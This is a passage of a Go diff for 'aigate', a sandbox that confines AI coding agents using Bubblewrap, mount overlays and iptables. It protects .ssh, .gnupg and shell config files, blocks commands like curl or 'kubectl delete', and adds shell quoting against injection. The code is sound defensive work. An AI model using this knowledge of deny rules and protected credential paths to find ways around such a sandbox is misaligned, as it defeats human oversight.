hasBwrap() { + return p.runWithBwrap(profile, cmd, args, stdout, stderr) + } return p.runUnshare(profile, cmd, args, stdout, stderr) } @@ -267,7 +273,7 @@ func parseDNSFromFile(path string) []string { if err != nil { return nil } - defer f.Close() + defer f.Close() //nolint:errcheck var servers []string scanner := bufio.NewScanner(f) @@ -332,7 +338,7 @@ func buildOrchestrationScript(innerScript string) string { // Write the inner script to a temp file (avoids all quoting issues). sb.WriteString("_AIGATE_INNER=$(mktemp /tmp/.aigate-inner-XXXXXX)\n") - sb.WriteString(fmt.Sprintf("printf '%%s' '%s' | base64 -d > \"$_AIGATE_INNER\"\n", encoded)) + fmt.Fprintf(&sb, "printf '%%s' '%s' | base64 -d > \"$_AIGATE_INNER\"\n", encoded) // Start the sandbox in a new net/mount/pid namespace (background, stdin from fd 3). sb.WriteString("unshare --net --mount --pid --fork -- sh \"$_AIGATE_INNER\" <&3 &\n") @@ -388,14 +394,14 @@ func buildNetFilterScript(allowNetHosts, dnsServers []string, profile domain.San // Allow traffic to upstream DNS servers (needed for slirp4netns forwarding) for _, dns := range dnsServers { - sb.WriteString(fmt.Sprintf("iptables -A OUTPUT -d %s -j ACCEPT\n", dns)) + fmt.Fprintf(&sb, "iptables -A OUTPUT -d %s -j ACCEPT\n", dns) } // Wait for DNS to actually work by testing a REAL remote query. // Using localhost previously was wrong — it resolves from /etc/hosts, // not DNS, so it passed before slirp4netns DNS (10.0.2.3) was ready. if len(allowNetHosts) > 0 { - sb.WriteString(fmt.Sprintf("for i in $(seq 1 50); do getent ahostsv4 %q >/dev/null 2>&1 && break; sleep 0.1; done\n", allowNetHosts[0])) + fmt.Fprintf(&sb, "for i in $(seq 1 50); do getent ahostsv4 %q >/dev/null 2>&1 && break; sleep 0.1; done\n", allowNetHosts[0]) } // Resolve each AllowNet entry INSIDE the namespace and add iptables rules. @@ -403,7 +409,7 @@ func buildNetFilterScript(allowNetHosts, dnsServers []string, profile domain.San // avoiding mismatches from CDN anycast / DNS load balancing. // Each host retries up to 3 times to handle transient DNS hiccups. for _, host := range allowNetHosts { - sb.WriteString(fmt.Sprintf("for _attempt in 1 2 3; do _ips=$(getent ahostsv4 %q 2>/dev/null | awk '{print $1}' | sort -u); [ -n \"$_ips\" ] && break; sleep 0.5; done; for _ip in $_ips; do iptables -A OUTPUT -d \"$_ip\" -j ACCEPT; done\n", host)) + fmt.Fprintf(&sb, "for _attempt in 1 2 3; do _ips=$(getent ahostsv4 %q 2>/dev/null | awk '{print $1}' | sort -u); [ -n \"$_ips\" ] && break; sleep 0.5; done; for _ip in $_ips; do iptables -A OUTPUT -d \"$_ip\" -j ACCEPT; done\n", host) } sb.WriteString("iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited\n") @@ -430,15 +436,15 @@ func buildPolicyFile(profile domain.SandboxProfile) string { sb.WriteString("{\n") sb.WriteString("printf '[aigate] sandbox policy\\n\\n'\n") if len(profile.Config.DenyRead) > 0 { - sb.WriteString(fmt.Sprintf("printf 'deny_read: %s\\n'\n", strings.Join(profile.Config.DenyRead, ", "))) + fmt.Fprintf(&sb, "printf 'deny_read: %s\\n'\n", strings.Join(profile.Config.DenyRead, ", ")) sb.WriteString("printf 'These files/directories appear empty or contain a deny marker inside the sandbox.\\n\\n'\n") } if len(profile.Config.DenyExec) > 0 { - sb.WriteString(fmt.Sprintf("printf 'deny_exec: %s\\n'\n", strings.Join(profile.Config.DenyExec, ", "))) + fmt.Fprintf(&sb, "printf 'deny_exec: %s\\n'\n", strings.Join(profile.Config.DenyExec, ", ")) sb.WriteString("printf 'These commands are blocked both before and inside the sandbox.\\n\\n'\n") } if len(profile.Config.AllowNet) > 0 { - sb.WriteString(fmt.Sprintf("printf 'allow_net: %s\\n'\n", strings.Join(profile.Config.AllowNet, ", "))) + fmt.Fprintf(&sb, "printf 'allow_net: %s\\n'\n", strings.Join(profile.Config.AllowNet, ", ")) sb.WriteString("printf 'Only these hosts are reachable. All other outbound connections are rejected.\\n\\n'\n") } sb.WriteString("} > /tmp/.aigate-policy\n") @@ -487,17 +493,17 @@ func buildMountOverrides(profile domain.SandboxProfile) string { } } if hasFile { - sb.WriteString(fmt.Sprintf("printf '%s\\n' > /tmp/.aigate-denied\n", denyMsg)) + fmt.Fprintf(&sb, "printf '%s\\n' > /tmp/.aigate-denied\n", denyMsg) } // Each mount is independent — failures don't cascade. for _, e := range entries { if e.isDir { - sb.WriteString(fmt.Sprintf( + fmt.Fprintf(&sb, "{ mount -t tmpfs -o size=4k tmpfs \"%s\" && printf '%s\\n' > \"%s/.aigate-denied\" && mount -o remount,ro \"%s\"; } 2>/dev/null || true\n", - e.path, dirMsg, e.path, e.path)) + e.path, dirMsg, e.path, e.path) } else { - sb.WriteString(fmt.Sprintf("mount --bind /tmp/.aigate-denied \"%s\" 2>/dev/null || true\n", e.path)) + fmt.Fprintf(&sb, "mount --bind /tmp/.aigate-denied \"%s\" 2>/dev/null || true\n", e.path) } } @@ -539,9 +545,9 @@ func buildExecDenyOverrides(profile domain.SandboxProfile) string { // For each denied command, find all instances in PATH and overlay them. // Each command is independent — a failure doesn't affect others. for _, cmd := range fullBlocks { - sb.WriteString(fmt.Sprintf( + fmt.Fprintf(&sb, "for _d in $(echo \"$PATH\" | tr ':' ' '); do [ -x \"$_d/%s\" ] && mount --bind /tmp/.aigate-deny-exec \"$_d/%s\" 2>/dev/null; done\n", - cmd, cmd)) + cmd, cmd) } } @@ -551,7 +557,7 @@ func buildExecDenyOverrides(profile domain.SandboxProfile) string { // Build case statement arms for denied subcommands var caseArms strings.Builder for _, sub := range subs { - caseArms.WriteString(fmt.Sprintf("%s) echo \"[aigate] blocked: '%s %s' is denied by sandbox policy\" >&2; exit 126;; ", sub, baseCmd, sub)) + fmt.Fprintf(&caseArms, "%s) echo \"[aigate] blocked: '%s %s' is denied by sandbox policy\" >&2; exit 126;; ", sub, baseCmd, sub) } wrapper := fmt.Sprintf("#!/bin/sh\nfor _a in \"$@\"; do case \"$_a\" in %s*) break;; esac; done\nexec /tmp/.aigate-orig-%s \"$@\"\n", @@ -560,9 +566,9 @@ func buildExecDenyOverrides(profile domain.SandboxProfile) string { encoded := base64.StdEncoding.EncodeToString([]byte(wrapper)) // Find the original binary, copy it aside, then mount wrapper over it - sb.WriteString(fmt.Sprintf( + fmt.Fprintf(&sb, "_orig=$(command -v %s 2>/dev/null) && if [ -n \"$_orig\" ]; then cp \"$_orig\" /tmp/.aigate-orig-%s && printf '%%s' '%s' | base64 -d > /tmp/.aigate-wrap-%s && chmod +x /tmp/.aigate-wrap-%s && mount --bind /tmp/.aigate-wrap-%s \"$_orig\" 2>/dev/null; fi\n", - baseCmd, baseCmd, encoded, baseCmd, baseCmd, baseCmd)) + baseCmd, baseCmd, encoded, baseCmd, baseCmd, baseCmd) } return sb.String() @@ -579,13 +585,23 @@ func buildConfigDirOverride() string { return fmt.Sprintf("mount -t tmpfs -o size=4k tmpfs \"%s\" 2>/dev/null || true\n", configDir) } -// shellEscape builds a shell command string from a command and its arguments. +// shellEscape builds a shell-safe command string from a command and its arguments. +// Arguments containing shell metacharacters are single-quoted. func shellEscape(cmd string, args []string) string { - var sb strings.Builder - sb.WriteString(cmd) + parts := make([]string, 0, len(args)+1) + parts = append(parts, shellQuote(cmd)) for _, a := range args { - sb.WriteString(" ") - sb.WriteString(a) + parts = append(parts, shellQuote(a)) } - return sb.String() + return strings.Join(parts, " ") +} + +// shellQuote wraps s in single quotes if it contains shell metacharacters. +// Embedded single quotes are handled by ending the quoting, inserting a +// literal single quote, then resuming quoting: foo'bar → 'foo'\”bar' +func shellQuote(s string) string { + if !strings.ContainsAny(s, " \t\n\"'\\$`!&|;()<>{}*?[]~#") { + return s + } + return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" } diff --git a/services/platform_linux_bwrap.go b/services/platform_linux_bwrap.go new file mode 100644 index 0000000..a6f21de --- /dev/null +++ b/services/platform_linux_bwrap.go @@ -0,0 +1,597 @@ +//go:build linux + +package services + +import ( + "encoding/json" + "fmt" + "io" + "os" + "os/exec" + "os/signal" + "path/filepath" + "strconv" + "strings" + "syscall" + + "github.com/creack/pty" + "golang.org/x/term" + + "github.com/AxeForging/aigate/domain" + "github.com/AxeForging/aigate/helpers" +) + +// hasBwrap checks whether bwrap (Bubblewrap) is available on the system. +func hasBwrap() bool { + _, err := exec.LookPath("bwrap") + return err == nil +} + +// runWithBwrap runs a command in a Bubblewrap sandbox. +// +// bwrap replaces the shell-script-based unshare approach: +// - Mount namespace is set up declaratively via flags (no shell injection risk) +// - deny_read: --bind deny-marker over files, --tmpfs over dirs +// - deny_exec: --bind deny stub or wrapper over binary paths +// - Config protection: --tmpfs over ~/.aigate +// - cmd and args are passed directly after --, no shell escaping needed +// +// Falls back to runUnshare when bwrap is not installed. +func (p *LinuxPlatform) runWithBwrap(profile domain.SandboxProfile, cmd string, args []string, stdout, stderr io.Writer) error { + var tmpFiles []string + defer func() { + for _, f := range tmpFiles { + os.Remove(f) //nolint:errcheck + } + }() + + bwrapArgs, err := p.buildBwrapArgs(profile, &tmpFiles) + if err != nil { + return fmt.Errorf("failed to build bwrap args: %w", err) + } + + bwrapArgs = append(bwrapArgs, "--") + bwrapArgs = append(bwrapArgs, cmd) + bwrapArgs = append(bwrapArgs, args...) + + return p.exec.RunPassthroughWith(stdout, stderr, "bwrap", bwrapArgs...) +} + +// buildBwrapArgs constructs the bwrap argument list for the given profile. +// Paths of temp files created for bind mounts are appended to tmpFiles; the +// caller is responsible for removing them after bwrap exits. +func (p *LinuxPlatform) buildBwrapArgs(profile domain.SandboxProfile, tmpFiles *[]string) ([]string, error) { + args := []string{ + "--ro-bind", "/", "/", // read-only root (system dirs protected) + "--dev", "/dev", // minimal private /dev + "--proc", "/proc", // fresh /proc for PID namespace + "--tmpfs", "/tmp", // isolated writable /tmp (no host /tmp leaks) + "--unshare-pid", // new PID namespace + "--unshare-user", // user namespace (current UID → root inside) + "--die-with-parent", + } + + // Writable home: tools (claude, git, npm, etc.) need to write to their + // own config/cache dirs. We then protect sensitive paths with ro-bind + // overlays below. + home, homeErr := os.UserHomeDir() + if homeErr == nil { + args = append(args, "--bind", home, home) + } + + // Writable workdir: if the workdir is outside $HOME (e.g. /opt/project), + // add an explicit writable bind mount. Skip if already covered by $HOME. + if profile.WorkDir != "" { + if homeErr != nil || !strings.HasPrefix(profile.WorkDir, home+"/") && profile.WorkDir != home { + args = append(args, "--bind", profile.WorkDir, profile.WorkDir) + } + } + + // Protect sensitive dotfiles from tampering by AI agents. + // These are overlaid read-only on top of the writable $HOME bind. + if homeErr == nil { + for _, sensitive := range []string{ + ".ssh", + ".gnupg", + ".bashrc", + ".bash_profile", + ".profile", + ".zshrc", + ".gitconfig", + } { + path := filepath.Join(home, sensitive) + if _, err := os.Stat(path); err == nil { + args = append(args, "--ro-bind", path, path) + } + } + // Hide aigate config directory completely. + args = append(args, "--tmpfs", filepath.Join(home, ".aigate")) + } + + // Write the policy file to a temp path, then bind it to /tmp/.aigate-policy + // inside the sandbox so AI agents can read why access is restricted. + policyPath, err := writeTmpFile("aigate-policy-*", policyFileContent(profile)) + if err != nil { + return nil, fmt.Errorf("write policy file: %w", err) + } + *tmpFiles = append(*tmpFiles, policyPath) + args = append(args, "--bind", policyPath, "/tmp/.aigate-policy") + + // deny_read: bind a deny marker over files, mount empty tmpfs over dirs. + // For files with hardlinks, also deny all alternate paths in the workdir + // that share the same inode (hardlinks bypass path-based bind mounts). + denyMarkerPath := "" + for _, pattern := range profile.Config.DenyRead { + paths, _ := resolvePatterns([]string{pattern}, profile.WorkDir) + for _, path := range paths { + info, statErr := os.Stat(path) + if statErr != nil { + helpers.Log.Warn().Str("path", path).Msg("skipping (not found)") + continue + } + if info.IsDir() { + args = append(args, "--tmpfs", path) + } else { + if denyMarkerPath == "" { + const denyMsg = "[aigate] access denied: this file is protected by sandbox policy. See /tmp/.aigate-policy for all active restrictions.\n" + denyMarkerPath, err = writeTmpFile("aigate-denied-*", denyMsg) + if err != nil { + return nil, fmt.Errorf("write deny marker: %w", err) + } + *tmpFiles = append(*tmpFiles, denyMarkerPath) + } + args = append(args, "--bind", denyMarkerPath, path) + + // Deny hardlinks: find all paths in the workdir that share the + // same inode and add deny bind mounts for each. + hardlinks := findHardlinks(path, profile.WorkDir) + for _, link := range hardlinks { + args = append(args, "--bind", denyMarkerPath, link) + } + } + } + } + + // deny_exec: bind deny stubs / wrappers over binary paths. + execArgs, execTmp, err := buildBwrapExecDenyArgs(profile) + if err != nil { + return nil, err + } + *tmpFiles = append(*tmpFiles, execTmp...) + args = append(args, execArgs...) + + return args, nil +} + +// policyFileContent returns the human-readable sandbox policy summary written +// to /tmp/.aigate-policy inside the sandbox. +func policyFileContent(profile domain.SandboxProfile) string { + var sb strings.Builder + sb.WriteString("[aigate] sandbox policy\n\n") + if len(profile.Config.DenyRead) > 0 { + fmt.Fprintf(&sb, "deny_read: %s\n", strings.Join(profile.Config.DenyRead, ", ")) + sb.WriteString("These files/directories appear empty or contain a deny marker inside the sandbox.\n\n") + } + if len(profile.Config.DenyExec) > 0 { + fmt.Fprintf(&sb, "deny_exec: %s\n", strings.Join(profile.Config.DenyExec, ", ")) + sb.WriteString("These commands are blocked both before and inside the sandbox.\n\n") + } + if len(profile.Config.AllowNet) > 0 { + fmt.Fprintf(&sb, "allow_net: %s\n", strings.Join(profile.Config.AllowNet, ", ")) + sb.WriteString("Only these hosts are reachable. All other outbound connections are rejected.\n\n") + } + return sb.String() +} + +// writeTmpFile creates a named temp file with the given content and returns its path. +func writeTmpFile(pattern, content string) (string, error) { + f, err := os.CreateTemp("", pattern) + if err != nil { + return "", err + } + defer f.Close() //nolint:errcheck + if _, err := f.WriteString(content); err != nil { + os.Remove(f.Name()) //nolint:errcheck + return "", err + } + return f.Name(), nil +} + +// runWithBwrapNetFilter runs a network-filtered sandbox using bwrap + slirp4netns. +// +// Architecture (bwrap-native, no nested unshare): +// +// bwrap [deny mounts] --unshare-net --info-fd 3 -- sh -c +// └── slirp4netns --configure tap0 (launched from host) +// +// bwrap creates the network namespace natively via --unshare-net. The +// orchestration (two-process dance) is handled in Go: +// 1. bwrap writes {"child-pid": N} to info-fd once namespaces are ready. +// 2. Parent reads the PID and launches slirp4netns from host-side. +// 3. The inner script waits for tap0, sets up iptables, then execs the command. +// +// This avoids the nested `unshare --net` inside bwrap's user namespace, which +// fails with EPERM on systems where network-namespace creation requires +// CAP_SYS_ADMIN in the initial user namespace. +func (p *LinuxPlatform) runWithBwrapNetFilter(profile domain.SandboxProfile, cmd string, args []string, stdout, stderr io.Writer) error { + dnsServers := getSystemDNS() + helpers.Log.Info(). + Strs("allow_net", profile.Config.AllowNet). + Strs("dns_servers", dnsServers). + Msg("starting bwrap network-filtered sandbox") + + var tmpFiles []string + defer func() { + for _, f := range tmpFiles { + os.Remove(f) //nolint:errcheck + } + }() + + bwrapArgs, err := p.buildBwrapArgs(profile, &tmpFiles) + if err != nil { + return fmt.Errorf("failed to build bwrap args: %w", err) + } + + // Info pipe: bwrap writes {"child-pid": N} to fd 3 (ExtraFiles[0]) once + // namespaces are ready, before exec'ing the inner command. + infoR, infoW, err := os.Pipe() + if err != nil { + return fmt.Errorf("create info pipe: %w", err) + } + defer infoR.Close() //nolint:errcheck + + bwrapArgs = appendBwrapNetArgs(bwrapArgs, profile.Config.AllowNet, dnsServers, cmd, args) + + bwrapCmd := exec.Command("bwrap", bwrapArgs...) + bwrapCmd.ExtraFiles = []*os.File{infoW} // fd 3 in child + + // Start bwrap. + // When stdout is a masking writer (not a raw *os.File) AND stdin is a TTY, + // use a PTY so the child sees an interactive terminal. Otherwise connect + // stdout/stderr directly so the masking writer receives the output. + var ptm *os.File + _, stdoutIsFile := stdout.(*os.File) + if !stdoutIsFile && term.IsTerminal(int(os.Stdin.Fd())) { + ptm, err = startBwrapWithPTY(bwrapCmd) + if err != nil { + // PTY unavailable — fall back to plain pipe so masking still applies. + helpers.Log.Warn().Err(err).Msg("PTY setup failed, falling back to plain pipe") + ptm = nil + err = startBwrapPlain(bwrapCmd, stdout, stderr, infoW) + } + } else { + err = startBwrapPlain(bwrapCmd, stdout, stderr, infoW) + } + infoW.Close() //nolint:errcheck // close write end in parent after Start (child has its own copy) + if err != nil { + infoR.Close() //nolint:errcheck + return fmt.Errorf("start bwrap: %w", err) + } + + // Read the child PID from info-fd (bwrap writes before exec'ing inner script). + childPID, err := readBwrapInfoPID(infoR) + infoR.Close() //nolint:errcheck + if err != nil { + bwrapCmd.Process.Kill() //nolint:errcheck + bwrapCmd.Wait() //nolint:errcheck + if ptm != nil { + ptm.Close() //nolint:errcheck + } + return fmt.Errorf("bwrap info-fd: %w", err) + } + + // Launch slirp4netns from the host side targeting the child's net namespace. + // Suppress stdout (verbose protocol debug), keep stderr for real errors. + slirpCmd := exec.Command("slirp4netns", "--configure", strconv.Itoa(childPID), "tap0") + slirpCmd.Stdout = nil + slirpCmd.Stderr = os.Stderr + if slirpErr := slirpCmd.Start(); slirpErr != nil { + bwrapCmd.Process.Kill() //nolint:errcheck + bwrapCmd.Wait() //nolint:errcheck + if ptm != nil { + ptm.Close() //nolint:errcheck + } + return fmt.Errorf("start slirp4netns: %w", slirpErr) + } + + // PTY: forward terminal I/O and propagate resize events. + if ptm != nil { + if ws, wsErr := pty.GetsizeFull(os.Stdin); wsErr == nil { + pty.Setsize(ptm, ws) //nolint:errcheck + } + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGWINCH) + go func() { + for range sigCh { + if ws, wsErr := pty.GetsizeFull(os.Stdin); wsErr == nil { + pty.Setsize(ptm, ws) //nolint:errcheck + } + } + }() + defer func() { + signal.Stop(sigCh) + close(sigCh) + }() + if oldState, rawErr := term.MakeRaw(int(os.Stdin.Fd())); rawErr == nil { + defer term.Restore(int(os.Stdin.Fd()), oldState) //nolint:errcheck + } + go func() { io.Copy(ptm, os.Stdin) }() //nolint:errcheck + go func() { io.Copy(stdout, ptm) }() //nolint:errcheck + } + + // Wait for bwrap to finish, then clean up slirp4netns. + bwrapErr := bwrapCmd.Wait() + if ptm != nil { + ptm.Close() //nolint:errcheck + } + slirpCmd.Process.Kill() //nolint:errcheck + slirpCmd.Wait() //nolint:errcheck + + return bwrapErr +} + +// appendBwrapNetArgs appends the network-sandbox-specific bwrap flags and the +// inner shell script to an existing bwrap arg slice. Separated for testability. +// +// The inner script needs to run iptables (CAP_NET_ADMIN) and bind-mount +// resolv.conf (CAP_SYS_ADMIN), so we set UID 0 and add the two caps. +// bwrap drops all capabilities by default even inside the user namespace; +// without --uid 0, the process is UID 1000 and nf_tables rejects it. +func appendBwrapNetArgs(args []string, allowNet, dnsServers []string, cmd string, cmdArgs []string) []string { + // Set UID/GID to 0 inside the sandbox: nf_tables requires being root (UID 0) + // in the user namespace, not just having CAP_NET_ADMIN. + args = append(args, "--uid", "0", "--gid", "0") + // CAP_NET_ADMIN: iptables / nf_tables rule manipulation. + // CAP_SYS_ADMIN: mount --bind resolv.conf and mount --make-rprivate. + args = append(args, "--cap-add", "cap_net_admin", "--cap-add", "cap_sys_admin") + // bwrap creates the network namespace natively; info-fd 3 (ExtraFiles[0]) + // carries the child PID so the parent can launch slirp4netns. + args = append(args, "--unshare-net", "--info-fd", "3") + innerScript := buildNetOnlyScript(allowNet, dnsServers, cmd, cmdArgs) + args = append(args, "--", "sh", "-c", innerScript) + return args +} + +// startBwrapPlain starts bwrap with direct stdout/stderr writers (no PTY). +// infoW is added as ExtraFiles[0] (fd 3 in the child) for --info-fd. +func startBwrapPlain(bwrapCmd *exec.Cmd, stdout, stderr io.Writer, infoW *os.File) error { + bwrapCmd.Stdin = os.Stdin + bwrapCmd.Stdout = stdout + bwrapCmd.Stderr = stderr + bwrapCmd.ExtraFiles = []*os.File{infoW} + return bwrapCmd.Start() +} + +// startBwrapWithPTY starts a bwrap command under a PTY so that child processes +// see a TTY on stdout. Only called when stdin is a terminal and stdout is a +// masking writer. Falls back to starting without a PTY if PTY creation fails. +// Returns the PTY master fd (or nil on fallback), and any error. +func startBwrapWithPTY(bwrapCmd *exec.Cmd) (*os.File, error) { + // pty.Start sets cmd.Stdin/Stdout/Stderr to the tty and calls cmd.Start. + // ExtraFiles (info pipe fd 3) are preserved across the fork. + ptm, err := pty.Start(bwrapCmd) + if err != nil { + return nil, fmt.Errorf("pty.Start: %w", err) + } + return ptm, nil +} + +// readBwrapInfoPID reads the {"child-pid": N} JSON that bwrap writes to its +// --info-fd once namespaces are set up and the child is ready to exec. +func readBwrapInfoPID(r io.Reader) (int, error) { + var info struct { + ChildPID int `json:"child-pid"` + } + if err := json.NewDecoder(r).Decode(&info); err != nil { + return 0, fmt.Errorf("decode bwrap info JSON: %w", err) + } + if info.ChildPID == 0 { + return 0, fmt.Errorf("bwrap info JSON: missing child-pid") + } + return info.ChildPID, nil +} + +// buildNetOnlyScript builds the shell script that runs INSIDE the bwrap +// sandbox. bwrap has already applied isolation (user ns, mount ns, deny_read, +// deny_exec, config dir hide, /proc via --proc). This script handles only the +// network-specific setup: waiting for tap0, pointing resolv.conf at the +// slirp4netns DNS forwarder, configuring iptables, then exec'ing the command. +func buildNetOnlyScript(allowNetHosts, dnsServers []string, cmd string, args []string) string { + var sb strings.Builder + + // Ensure mount propagation is private (bwrap sets this, but be defensive). + sb.WriteString("mount --make-rprivate / 2>/dev/null || true\n") + + // Wait for tap0 (slirp4netns creates it after reading our PID from info-fd). + sb.WriteString("for i in $(seq 1 100); do ip addr show tap0 2>/dev/null | grep -q inet && break; sleep 0.05; done\n") + + // Point resolv.conf at slirp4netns DNS forwarder. + sb.WriteString("echo 'nameserver 10.0.2.3' > /tmp/.aigate-resolv\n") + sb.WriteString("mount --bind /tmp/.aigate-resolv /etc/resolv.conf 2>/dev/null || ") + sb.WriteString("mount --bind /tmp/.aigate-resolv $(readlink -f /etc/resolv.conf) 2>/dev/null || true\n") + + // iptables: loopback + DNS first, then allow_net hosts, then REJECT all. + sb.WriteString("iptables -A OUTPUT -o lo -j ACCEPT\n") + sb.WriteString("iptables -A OUTPUT -p udp --dport 53 -j ACCEPT\n") + sb.WriteString("iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT\n") + for _, dns := range dnsServers { + fmt.Fprintf(&sb, "iptables -A OUTPUT -d %s -j ACCEPT\n", dns) + } + if len(allowNetHosts) > 0 { + fmt.Fprintf(&sb, "for i in $(seq 1 50); do getent ahostsv4 %q >/dev/null 2>&1 && break; sleep 0.1; done\n", allowNetHosts[0]) + } + for _, host := range allowNetHosts { + fmt.Fprintf(&sb, "for _attempt in 1 2 3; do _ips=$(getent ahostsv4 %q 2>/dev/null | awk '{print $1}' | sort -u); [ -n \"$_ips\" ] && break; sleep 0.5; done; for _ip in $_ips; do iptables -A OUTPUT -d \"$_ip\" -j ACCEPT; done\n", host) + } + sb.WriteString("iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited\n") + + sb.WriteString("exec ") + sb.WriteString(shellEscape(cmd, args)) + sb.WriteString("\n") + + return sb.String() +} + +// findHardlinks scans searchDir for files that share the same device+inode as +// targetPath (i.e. hardlinks). Returns paths of hardlinks found, excluding +// targetPath itself. Only scans when the target has nlink > 1. +func findHardlinks(targetPath, searchDir string) []string { + var targetStat syscall.Stat_t + if err := syscall.Stat(targetPath, &targetStat); err != nil { + return nil + } + if targetStat.Nlink <= 1 { + return nil + } + + var links []string + walkForHardlinks(searchDir, targetPath, targetStat.Dev, targetStat.Ino, &links) + return links +} + +// walkForHardlinks recursively scans dir for files matching the given dev+ino. +// Uses os.ReadDir + syscall.Stat directly instead of filepath.WalkDir. +func walkForHardlinks(dir, excludePath string, dev uint64, ino uint64, links *[]string) { + entries, err := os.ReadDir(dir) + if err != nil { + return + } + for _, e := range entries { + path := filepath.Join(dir, e.Name()) + if e.IsDir() { + walkForHardlinks(path, excludePath, dev, ino, links) + continue + } + if path == excludePath { + continue + } + var st syscall.Stat_t + if syscall.Stat(path, &st) == nil && st.Dev == dev && st.Ino == ino { + *links = append(*links, path) + } + } +} + +// resolveForBwrap resolves symlinks in path so it can be used as a bwrap bind +// destination. bwrap cannot bind-mount over a symlink — it requires an actual +// file/directory inode. Falls back to the original path if resolution fails. +func resolveForBwrap(path string) string { + if resolved, err := filepath.EvalSymlinks(path); err == nil { + return resolved + } + return path +} + +const bwrapDenyExecScript = "#!/bin/sh\necho \"[aigate] blocked: this command is denied by sandbox policy\" >&2\nexit 126\n" + +// buildBwrapExecDenyArgs generates bwrap bind-mount args for deny_exec rules. +// +// Full command blocks (e.g. "curl"): writes a deny stub and binds it over every +// instance of the binary found via LookPath. +// +// Subcommand blocks (e.g. "kubectl delete"): writes a wrapper script and binds: +// - the original binary to /tmp/.aigate-orig- (accessible by wrapper) +// - the wrapper over the original binary path +// +// Returns the bwrap args to append and temp file paths to clean up. +func buildBwrapExecDenyArgs(profile domain.SandboxProfile) (bwrapArgs []string, tmpFiles []string, err error) { + if len(profile.Config.DenyExec) == 0 { + return nil, nil, nil + } + + var fullBlocks []string + subBlocks := make(map[string][]string) // base command → denied subcommands + + for _, entry := range profile.Config.DenyExec { + parts := strings.SplitN(entry, " ", 2) + if len(parts) == 2 { + subBlocks[parts[0]] = append(subBlocks[parts[0]], parts[1]) + } else { + fullBlocks = append(fullBlocks, entry) + } + } + + // Full command blocks: one shared deny stub, bound over each binary. + // bwrap cannot bind-mount over symlinks as the destination — it needs a real + // file. Resolve symlinks so the bind lands on the actual inode. + if len(fullBlocks) > 0 { + stubPath, stubErr := writeTmpFile("aigate-deny-exec-*", bwrapDenyExecScript) + if stubErr != nil { + return nil, tmpFiles, fmt.Errorf("write deny exec stub: %w", stubErr) + } + if chmodErr := os.Chmod(stubPath, 0o755); chmodErr != nil { + os.Remove(stubPath) //nolint:errcheck + return nil, tmpFiles, fmt.Errorf("chmod deny exec stub: %w", chmodErr) + } + tmpFiles = append(tmpFiles, stubPath) + + for _, cmd := range fullBlocks { + var destPaths []string + // Search $PATH for the binary. + if binPath, lookErr := exec.LookPath(cmd); lookErr == nil { + destPaths = append(destPaths, resolveForBwrap(binPath)) + } + // Also search the workdir for local scripts/binaries. + if profile.WorkDir != "" { + wdPath := filepath.Join(profile.WorkDir, cmd) + if info, statErr := os.Stat(wdPath); statErr == nil && !info.IsDir() { + resolved := resolveForBwrap(wdPath) + alreadyCovered := false + for _, dp := range destPaths { + if dp == resolved { + alreadyCovered = true + break + } + } + if !alreadyCovered { + destPaths = append(destPaths, resolved) + } + } + } + for _, destPath := range destPaths { + bwrapArgs = append(bwrapArgs, "--bind", stubPath, destPath) + } + } + } + + // Subcommand blocks: per-command wrapper that delegates to the original binary. + // The original is exposed inside the sandbox at /tmp/.aigate-orig- via a + // bind mount from the host binary path — no copying of large binaries. + // Symlinks are resolved for the wrapper destination (bwrap constraint). + for baseCmd, subs := range subBlocks { + origPath, lookErr := exec.LookPath(baseCmd) + if lookErr != nil { + helpers.Log.Warn().Str("cmd", baseCmd).Msg("deny_exec subcommand: binary not found in PATH, skipping") + continue + } + + // The resolved (non-symlink) path is used as the bwrap bind destination. + resolvedPath := resolveForBwrap(origPath) + origInSandbox := fmt.Sprintf("/tmp/.aigate-orig-%s", baseCmd) + + var caseArms strings.Builder + for _, sub := range subs { + fmt.Fprintf(&caseArms, "%s) echo \"[aigate] blocked: '%s %s' is denied by sandbox policy\" >&2; exit 126;; ", sub, baseCmd, sub) + } + wrapper := fmt.Sprintf("#!/bin/sh\nfor _a in \"$@\"; do case \"$_a\" in %s*) break;; esac; done\nexec %s \"$@\"\n", + caseArms.String(), origInSandbox) + + wrapPath, wrapErr := writeTmpFile(fmt.Sprintf("aigate-wrap-%s-*", baseCmd), wrapper) + if wrapErr != nil { + return nil, tmpFiles, fmt.Errorf("write wrapper for %q: %w", baseCmd, wrapErr) + } + if chmodErr := os.Chmod(wrapPath, 0o755); chmodErr != nil { + os.Remove(wrapPath) //nolint:errcheck + return nil, tmpFiles, fmt.Errorf("chmod wrapper for %q: %w", baseCmd, chmodErr) + } + tmpFiles = append(tmpFiles, wrapPath) + + // Expose the original binary at origInSandbox (source may be a symlink — + // bwrap follows symlinks for the source, only the destination must be real). + bwrapArgs = append(bwrapArgs, "--bind", origPath, origInSandbox) + // Shadow the resolved binary path with the wrapper. + bwrapArgs = append(bwrapArgs, "--bind", wrapPath, resolvedPath) + } + + return bwrapArgs, tmpFiles, nil +} diff --git a/services/platform_linux_bwrap_test.go b/services/platform_linux_bwrap_test.go new file mode 100644 index 0000000..2366afd --- /dev/null +++ b/services/platform_linux_bwrap_test.go @@ -0,0 +1,895 @@ +//go:build linux + +package services + +import ( + "os" + "os/exec" + "strings" + "testing" + + "github.com/AxeForging/aigate/domain" +) + +// ── arg-list helpers ──────────────────────────────────────────────────────── + +func containsFlag(args []string, flag string) bool { + for _, a := range args { + if a == flag { + return true + } + } + return false +} + +func containsPair(args []string, a, b string) bool { + for i := 0; i+1 < len(args); i++ { + if args[i] == a && args[i+1] == b { + return true + } + } + return false +} + +func containsTriple(args []string, a, b, c string) bool { + for i := 0; i+2 < len(args); i++ { + if args[i] == a && args[i+1] == b && args[i+2] == c { + return true + } + } + return false +} + +// dest is the third element of --bind src dest or --ro-bind src dest. +func hasBwrapBindDest(args []string, dest string) bool { + for i := 0; i+2 < len(args); i++ { + if (args[i] == "--bind" || args[i] == "--ro-bind") && args[i+2] == dest { + return true + } + } + return false +} + +// ── policyFileContent ──────────────────────────────────────────────────────── + +func TestPolicyFileContent_Header(t *testing.T) { + profile := domain.SandboxProfile{} + content := policyFileContent(profile) + if !strings.Contains(content, "[aigate] sandbox policy") { + t.Error("policy 